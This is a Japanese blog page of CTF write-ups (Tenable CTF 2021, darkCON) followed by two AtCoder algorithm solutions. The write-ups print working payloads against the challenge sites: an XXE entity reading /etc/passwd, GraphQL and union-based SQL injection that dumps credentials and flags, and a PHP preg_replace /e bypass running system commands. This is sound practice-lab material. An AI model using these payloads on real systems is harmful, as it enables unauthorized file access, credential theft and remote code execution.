はまやんはまやんはまやん

hamayanhamayan's blog

Spring MVC [Tenable CTF 2021]

  • Spring MVC 1
  • Spring MVC 2
    • /mainでPOSTリクエストすると、flag2がある
    • flag{flag2_de3981}
  • Spring MVC 3
    • /mainmagicWord=pleaseをPOSTすれば、flag3が出てくる
    • flag{flag3_0d431e}
  • Spring MVC 4
    • /mainで空のJSONをPOSTすれば、flag4が出てくる
    • flag{flag4_695954}
  • Spring MVC 5
    • /mainでOPTIONSリクエストすれば、flag5が出てくる
    • flag{flag5_70102b}
  • Spring MVC 6
    • /mainMagic-Word: pleaseをヘッダーにつけてGETリクエストすれば、flag6が出てくる
    • flag{flag6_ca1ddf}
  • Spring MVC 7 (Hiding in Plain Sight)
    • .hello.htmlを見ると、 <p th:if="${name == 'please'}"> <span class="hidden" th:text="${@flagService.getFlag('hidden_flag')}" /> </p>
    • これは/をGETしたときに参照されるので、/?name=pleaseとしてソースコードを確認すればflagが出てくる
    • flag{hidden_flag_1dbc4}
  • Spring MVC 8 (Sessionable)
    • .hello.htmlを見ると、 <p th:if="${#session.getAttribute('realName') == 'admin'}"> <span th:text="${#session.getAttribute('sessionFlag')}" /> </p>
    • /other?name=[username]でセッションのrealNameを更新できるので、これでadminに変更してから見に来てみる
    • flag{session_flag_0dac2c}

Send A Letter [Tenable CTF 2021]

?letter= <?xml version="1.0" encoding="ISO-8859-1"?>name<return_addr>add</return_addr>aba というなんとも言えない感じになっている。 return_addrに使えるアドレスを入れてみる

Message to a appended to /tmp/messages_outbound.txt for pickup. Mailbox flag raised.

よくよく見てみるとnameがオウム返しされていた。 これがsourceになりえるな。

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>name<return_addr>add</return_addr>&xxe;ba よし、取れましたね

/tmp/messages_outbound.txtが唯一示されているので、見てみよう。 <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///tmp/messages_outbound.txt" >]>name<return_addr>add</return_addr>&xxe;ba

-> ok flag{xxe_aww_yeah}

http://167.71.246.232/系 [Tenable CTF 2021]

  • Stay Away Creepy Crawlers
    • Find the flag where they keep the creepy crawlers away.
    • Crawlersなので、robots.txtを見る
    • flag{mr_roboto}
  • Source of All Evil
    • どこかのソースコードにフラグが入ってるんだろうなぁと思ってみると、ルートページにある
    • flag{best_implants_ever}
  • Can't find it
  • Show me what you got
    • Find the "indexes" flag here: http://167.71.246.232/
    • 通信を見ると/images/というフォルダに入った画像がリクエストされている
    • /images/のみにするとどうだろうか。フォルダ一覧が表示され、隠されたファイルを見つけることができる
    • flag{disable_directory_indexes}
  • Certificate of Authenticity
    • Certificateということなので、httpsでつないでみると自己証明書が使われていた
    • 発行先がフラグになっている
    • flag{selfsignedcert}
  • Headers for you inspiration
    • ルートページにヘッダーがついていた
    • Flag: flag{headersftw}
  • Ripper Doc
    • Find the flag in the ripper doc list.
    • /certified_rippers.phpの通信を見ると、Cookieでauthenticatedが使われている。trueに変えて送ってみると、情報が得られる
    • flag{messing_with_cookies}
  • Protected Directory
    • Find the flag in the protected directory.
    • 問題名に当たりそうなものは/admin/くらいしかない。どうやって攻撃しようか。
    • 総当りをする心をぐっと抑えて/.htpasswdを探してみるとある
    • admin:$apr1$1U8G15kK$tr9xPqBn68moYoH4atbg20
  • Follow The Rabbit Hole
    • Follow the rabbit hole and get the flag.
    • 以下

/rabbit_hole.php?page=cE4g5bWZtYCuovEgYSO1 [513, '71'] 4O48APmBiNJhZBfTWMzD あたりがまず怪しいので、CyberChefしてみるが何も反応がない。 pageと出力の形式が同じ感じだったので、とりあえず出力をpageに入れてみると別の応答が得られる。 問題にも"Crawler"とあるので、クロールスクリプトを書いて探ってみる。

import requests
import re
import time

root = 'http://167.71.246.232:8080'
current_page = 'CcOz5dNeYSJB6gMKgBzD'

for _ in range(100):
    r = requests.get(f"{root}/rabbit_hole.php?page={current_page}")
    print(r.text)
    r2 = re.findall(r'\[(.*)\][\r\n|\n|\r] (.*)', r.text)
    next_page = r2[0][1]
    print(f'======= {current_page} => {next_page} ========')
    current_page = next_page
    time.sleep(3)

全部たどるとendで終わり。

Tenable CTF - Down the Rabbit Hole

なんじゃそれ…

DarkCON Challs [darkCON CTF]

CTFtime.org / darkCON CTF

以下が認証プロセス。 GraphQLが使われているので、とりあえずいつもの抜き出しを行う。

function auth() {
    var username = document.getElementById("Username").value;
    var password = document.getElementById("Password").value;
    var head = btoa(username + ':' + password);
    $(document).ready(function() {
        $.post("graphql", {
            "query": "mutation{login(username:\"" + username + "\",password:\"" + password + "\")}"
        }, function(data, textStatus) {
            if (data.data.login == "Success") {
                document.cookie = "auth=" + head;
                window.location = '/dashboard'
            } else {
                alert('Wrong creds')
            }
            ;
        }, "json");
    });
}
function yeet() {
    document.cookie = "auth=Z3Vlc3Q6a2FybWE5ODc0";
    window.location = "/dashboard"
}
mutation{login(username:"admin",password:"password")}

query{Challs{}}
-> Authorization Error

query{allUsers{username password}}
-> 
{"data":{"allUsers":[{"username":"guest","password":"karma9874"},{"username":"admin","password":"is_this_visible_to_you?"}]}}
ok.

adminパスワードが抜けたので、とりあえずログインしてみる。 admin権限が得られたので、改めてGraphQLを操作してみる。

query{Challs{id title flag{chall_flag}}}
->
{"id":"35","title":"DarkCON Challs","flag":{"chall_flag":"<REDACTED>"}

Try Harderか…

query{Challs{id title description category author points flag{chall_id chall_title chall_flag}}}
->
{"id":"35","title":"DarkCON Challs","description":"\"A place where you can see all the challs of darkCON CTF using api but not the flag or can you @_@ ?\r\nPS :- Try to get the flag of this chall xD\"","category":"Web","author":"Karma","points":500,"flag":{"chall_id":"35","chall_title":"DarkCON Challs","chall_flag":"<REDACTED>"}}

んー…

query{hint(chall_id:"35"){chall_id chall_title take_hint}}
-> 特に…

いや、SQLiか?

query{hint(chall_id:"x"){chall_id chall_title take_hint}}
-> ER_BAD_FIELD_ERROR: Unknown column 'x' in 'where clause'

query{hint(chall_id:"'"){chall_id chall_title take_hint}}
ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

キタキタキタ。

query{hint(chall_id:"-1 union select 1,2,3"){chall_id chall_title take_hint}}

これで1,2,3と出力されるようになった。OK

query{hint(chall_id:"-1 union SELECT GROUP_CONCAT(distinct TABLE_SCHEMA),2,3 FROM INFORMATION_SCHEMA.TABLES"){chall_id chall_title take_hint}}
-> darkcon,information_schema,mysql,performance_schema,sys

query{hint(chall_id:"-1 union select GROUP_CONCAT(distinct table_name),2,3 from information_schema.tables where TABLE_SCHEMA='darkcon'"){chall_id chall_title take_hint}}
-> challs,flags,hints,users

query{hint(chall_id:"-1 union select GROUP_CONCAT(column_name),2,3 from information_schema.columns where table_name='challs'"){chall_id chall_title take_hint}}
-> challs: id,category,title,description,author,points

query{hint(chall_id:"-1 union select GROUP_CONCAT(column_name),2,3 from information_schema.columns where table_name='flags'"){chall_id chall_title take_hint}}
-> flags: chall_id,chall_title,chall_flag

query{hint(chall_id:"-1 union select GROUP_CONCAT(distinct chall_flag),2,3 from flags"){chall_id chall_title take_hint}}
-> darkCON{fake_flag},darkCON{w0ww_y0u_re411y_f0und_m3}

提出できんかったけど、これはあってるやろ。 ok. darkCON{w0ww_y0u_re411y_f0und_m3}

Easy PHP [darkCON CTF]

CTFtime.org / darkCON CTF

robots.txtを見てみると?lmaoとあるので、入れてみるとソースコードが出てくる。

<?php
require_once 'config.php';

$text = "Welcome DarkCON CTF !!";

if (isset($_GET['lmao'])) {
    highlight_file(__FILE__);
    exit;
}
else {
    $payload = $_GET['bruh'];
    if (isset($payload)) {
        if (is_payload_danger($payload)) {
            die("Amazing Goob JOb You :) ");
        }
        else {
            echo preg_replace($_GET['nic3'], $payload, $text);
        }
    }
    echo $text;
}
?>

preg_replace("/a/e", "system(‘id’);", "abc");を目指す。

色々試すと以下が成功した。 GET /?bruh=show_source("c"."onfig.php");&nic3=/a/e HTTP/1.1

<?php
function is_payload_danger($payload) {
        return preg_match('/exec|passthru|shell_exec|system|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|readfile|require|require_once|include|include_once|print|find|file|`|config|var_dump|dir/',$payload);
}
?>

GET /?bruh=%24_GET%5B%22__%22%5D(%24_GET%5B%22_%22%5D);&nic3=/a/e&__=system&_=ls これで任意コード実行ができるようになった。

config.php
flag210d9f88fd1db71b947fbdce22871b57.php
index.php
robots.txt

GET /?bruh=%24_GET%5B%22__%22%5D(%24_GET%5B%22_%22%5D);&nic3=/a/e&__=system&_=cat%20flag210d9f88fd1db71b947fbdce22871b57.php -> darkCON{w3lc0me_D4rkC0n_CTF_2O21_ggwp!!!!} YES!

Potion [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) F]

https://atcoder.jp/contests/abc192/tasks/abc192_f

前提知識

解説

https://atcoder.jp/contests/abc192/submissions/20347402

DPで解くが、考察の流れは分かりにくいかもしれない。

どこから考え始めるか

色々な可能性から攻めていくが、問題の弱点から考え始めるのが良い。
弱点を探すと、N≦100という明らかな弱点が用意されている。
ここから何か読み取れないだろうか。
N≦100ということは同様にkもk≦100であることが言える。
つまり、kを固定した場合に簡単に解ける方法はないだろうか。

kを固定する

kを固定した場合、良い部分が固定化される

  • k個選択すればいい
  • k個選択したあと、必要な魔力の残りがkの倍数であればいい

特に魔力の残りがkの倍数であればいいという部分が重要で、魔力は制約を見るとかなり大きな値になるのでそのままでは扱いにくい。
魔力についてはkの倍数について考える、つまり、kで割った余りでグルーピングすることができるようになる。
この辺と過去の記憶を合成していくことでDPを使えば解けそうな感じに見えてくる。

DP

dp[i][use][mo] :=
i番目までの素材からuse個を選んで合成している、
かつ、
ポーションの魔力になるまで必要な残魔力をkで割った余りがmoであるときの、
ポーションの魔力になるまで必要な残魔力の最小値

以上のDPを使って計算する。
初期値はすべて∞でdp[0][0][X%k]だけXである。
初期値については、定義を見れば納得できるだろう。

後は、ナップサックのように選ぶ・選ばないで遷移を書いていけばいい。
DPを作り終わったら、目的のものはdp[N][k][0]に入っているはずである。
k個を選んでkの倍数、つまり、余りが0であるもの。

必要な時間はdp[N][k][0]/kとなるので、この最小値を求めれば答え。
ちなみに作れない場合もあるので、それは検出して弾くこと。

計算量はO(N4)くらいになってざっと108くらいなのだが、dp問題は基本軽いので、まあ大丈夫。
もしTLEしたら、要素の配置をうまい事変えるとかしてキャッシュ率を上げるとか、枝刈りちゃんとするとかしてやれば通ったりする。
この辺のテク誰かまとめてくれんかな…

int N; ll X, A[101];
ll dp[101][101][101];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> X;
    rep(i, 0, N) cin >> A[i];

    ll ans = infl;
    rep(k, 1, N + 1) {
        rep(i, 0, N + 1) rep(use, 0, k + 1) rep(mo, 0, k) dp[i][use][mo] = infl;
        dp[0][0][X % k] = X;

        rep(i, 0, N) rep(use, 0, k + 1) rep(mo, 0, k) if (dp[i][use][mo] != infl) {
            chmin(dp[i + 1][use][mo], dp[i][use][mo]);
            if (use < k) chmin(dp[i + 1][use + 1][(((mo - A[i]) % k) + k) % k], dp[i][use][mo] - A[i]);
        }
        if(dp[N][k][0] != infl) chmin(ans, dp[N][k][0] / k);
    }
    cout << ans << endl;
}

Train [SOMPO HD プログラミングコンテスト2021(AtCoder Beginner Contest 192) E]

https://atcoder.jp/contests/abc192/tasks/abc192_e

前提知識

解説

https://atcoder.jp/contests/abc192/submissions/20346183

ダイクストラ法で解く。
ダイクストラから少ししか変更がないので、ダイクストラを一通り勉強した後の1up問題として最適。

問題はどうやってダイクストラに乗せるかであるが、一般的なダイクストラ同様に
D[cu] := 都市cuに到着する最短時間
を作って更新していけばいい。
問題は遷移時であるが、遷移時はKの倍数でしか出発できないので、遷移前の時間から最も近いKの倍数の時間を計算して、
そこからTで時間を延ばして遷移させる。
この遷移部分のみが、一般的なダイクストラ法と異なる。
他は一緒。
ちなみに、自分の実装では、一番近いKの倍数を得るのに、Kで切り上げをしてからKをかけるという方法を取っている。

int N, M, X, Y;
int A[101010], B[101010], T[101010], K[101010];
vector<pair<int, pair<int,int>>> E[101010];
//---------------------------------------------------------------------------------------------------
template<typename T> using min_priority_queue = priority_queue<T, vector<T>, greater<T>>;
int vis[101010];
ll D[101010];
ll dijk() {
    rep(i, 0, N) D[i] = infl;
    rep(i, 0, N) vis[i] = 0;

    min_priority_queue<pair<ll, int>> que;

    D[X] = 0;
    que.push({ 0, X });

    while (!que.empty()) {
        auto q = que.top(); que.pop();

        ll cst = q.first;
        int cu = q.second;

        if (cu == Y) return D[Y];

        if (vis[cu]) continue;
        vis[cu] = 1;

        fore(p, E[cu]) {
            int to = p.first;
            int T = p.second.first;
            int K = p.second.second;

            ll cst2 = (cst + K - 1) / K * K + T;
            if (chmin(D[to], cst2)) que.push({ D[to], to });
        }
    }

    return -1;
}
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N >> M >> X >> Y;
    X--; Y--;
    rep(i, 0, M) {
        cin >> A[i] >> B[i] >> T[i] >> K[i];
        A[i]--; B[i]--;

        E[A[i]].push_back({ B[i], {T[i], K[i]} });
        E[B[i]].push_back({ A[i], {T[i], K[i]} });
    }

    ll ans = dijk();
    cout << ans << endl;
}